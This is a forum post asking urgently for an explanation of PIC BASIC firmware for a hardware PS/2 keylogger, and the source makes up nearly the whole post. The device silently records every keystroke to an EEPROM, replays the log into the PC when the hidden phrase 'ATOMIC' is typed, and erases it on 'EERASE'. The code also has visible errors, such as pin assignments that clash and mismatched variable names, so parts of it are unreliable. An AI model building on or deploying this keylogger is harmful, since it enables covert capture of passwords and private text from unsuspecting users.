Ok I plead all of you to help me define this code !! It is needed very urgent, so I plead u to do it as fast as u can, it is long for u to do whole code, do segments of code ... Please !!!
Code:
Device MCLR_OFF
define ose 10
define shift_pauses 40
cmcon = 7
vrcon = 0

dta var porta.0 - 

;[VARIABLES]
mde var bit

;MODE:0=RECORD / 1 = PLAYBACK
dta var porta.0 ;KEYBOARD DATA  PIN
clk var porta.0 ;KEYBOARD CLOCK PIN
kbs var portb.0 ; KEYBOARD 4066 SWITCH
scl var porta.3 ; EEPROM CLOCK PIN
sda var porta.2 ; EEPROM DATA PIN
adr var word ;EEPROM ADRESS
chr var word ; OUTPUT FRAME
key var byte ; SCAN CODE
bkc var byte ; BREAK CODE
btv var byte ; BIT VALUE
lp1 var byte ; LOOP VARIABLE
sft var byte ; SHIFT KEY FLAG
lsf var bit ; LAST SHIFT KEY STATE
pwc var byte ; PASSWORD BYTE COUNTER 
pwd var byte[6] ; MASTER PASSWORD
clear


; [STARTUP]
input clk
input dta
output kbs
kbs = 1

; [ FIND EMPTY EEPROM ADRESS]
for adr = 0 to 32767
i2cread sda,scl,$A0,adr,[lp1]
if lp1 = 0 then goto done
next
done:

main:

;[RECORD LOOP]

;[READ START BIT]
gosub clock 
if dta = 1 then goto main

;[READ NEXT 8 DATA BITS]
key = 0
for lp1 = 0 to 7
gosub clock
if dta = 1 then
lookup lp1,[1,2,4,8,16,32,64,128],btv
key = key + btv
endif
next

;[READ PARITY BIT]
gosub clock

;[READ LAST STOP  BIT]
gosub clock

;[CHECK BREAK CODE – IGNORE NEXT KEY]
if bkc= 1 then
if key =$12 or key = $59 then sft = 0
key = 0
bkc = 0
endif

;[IGNORE BREAK CODE]
if key =$F0 then
bkc=1
goto main
endif

;[R/L SHIFT KEY ON]



;[FILTER SCANCODES TO RECORD]
lp1 = 255

lookdown
key,[$1C,$32,$21,$23,$24,$2B,$34,$33,$43,$3B,$42,$4B,$3A,$31,$44,$4D,$15,$2D,$1B,$2C,$3C,$2A,$1D,$22,$35,$1A,$45,$16,$1E,$26,$25,$2E,$36,$3D,$3E,$46,$4E,$55,$29,$54,$7C,$7B,$79,$71,$70,$69,$72,$7A,$6B,$73,$74,$6C,$75,$7D,$4C,$52,$41,$49,$4A],lp1


;[STORE CAPS KEY]
if key = 58 then
key =$54 : gosub store
key =$21 : gosub store
key = $1C : gosub store
key = $4D : gosub store
key = $1B : gosub store
key = $5B : gosub store
endif

;[STORE SHIFT ON (SH1) / SHIFT OFF (SH0)]
if sft <> lsf then
lsf = sft 
key = $54 : gosub store
key = $1B : gosub store
key = $33 : gosub store
if sft = 0 then key = $45 : gosub store
if sft = 1 then key = $16 : gosub store
key = $5B : gosub store
endif 

;[STORE NORMAL KEY IN EEPROM]
if lp1 < 255 then
gosub store 
;[LOOK FOR SECRET CODES]
for lpl = 0 to 4
pwd[lpl] = pwd[lpl+1]
next
pwd[5] = key

;[SECRET CODE “ATOMIC' – GOTO PLAYBACK MODE]
if pwd[0] = $1C and pwd[1] = $2C and pwd[2] = $44 and pwd[3] = $3A and pwd[4]= $43 and pwd[5] = $21 then mde = 1

;[SECRET CODE “EERASE” - ERASE EEPROM]
if pwd[0] = $24 and pwd[1] = $24 and pwd[2] = $2D and pwd[3] = $1C and pwd[4]= $1B and pwd[5] = $24 then gosub erase
endif

;[PLAYBACK LOOP]************
if mde= 1 then
kbs= 0
adr=0
lpl =0

;[READ DATA FROM EEPROM]
send:
i2cread sda,scl,$A0,adr,[key]
Pause 10
adr = adr +1

;[EXIT IF END OF DATA]
if key = 0 then
mde= 0
input clk
input dta
kbs = 1
adr= adr -1 
goto main
endif

;[SEND CR AFTER 80 CHARS]
lpl = lpl +1
if lpl = 80 then
lpl = 0
adr = adr – 1
key = $5A
endif

;[GOTO SENDKEY ROUTINE]
gosub sendkey

goto send
endif
goto main

;[FUNCTIONS]********************************


;[WAIT FOR CLOCK CYCLE]
clock :
if clk = 0 then goto clock
lp:
if clk = 1 then goto lp 
return

;[WAIT FOR IDLE CLOCK]
idle:
if clk = 0 then goto idle
if dta = 0 then goto idle 
return

;[STORE KEY TO EEPROM]
store:
i2cwrite sda,scl,$A0,adr,[key]
adr = adr + 1
Pause 10
return

;[SEND SCANCODE TO PC]
sendkey :
gosub idle 
chr = key <<1
chr.0 = 0
chr.9 = not(key.0 ^^ key.1 ^^ key.2 ^^ key.3 ^^ key.4 ^^ key.5 ^^ key.6 ^^ key.7 ^^ key.8)
chr.10 = 1
shiftout dta.clk,4,[chr\ 11]
input clk
input dta
return

;[ERASE EEPROM- TAKES 3 MINS]
erase:
lpl = 0
btv = 0
kbs = 0
key = $5A
gosub sendkey 
for adr = 0 to 32767
i2cwrite sda,scl,$A0,adr,[0]
pause 4

;[SEND PROFRESS DOTS]
lpl = lpl +1
if lpl = 100 then
lpl = 0
key = $49
btv = btv + 1
if btv = $22 then
btv = 0
key = $5A
endif
gosub sendkey
endif
next
key = $5A
gosub sendkey
adr = 0
kbs = 1
return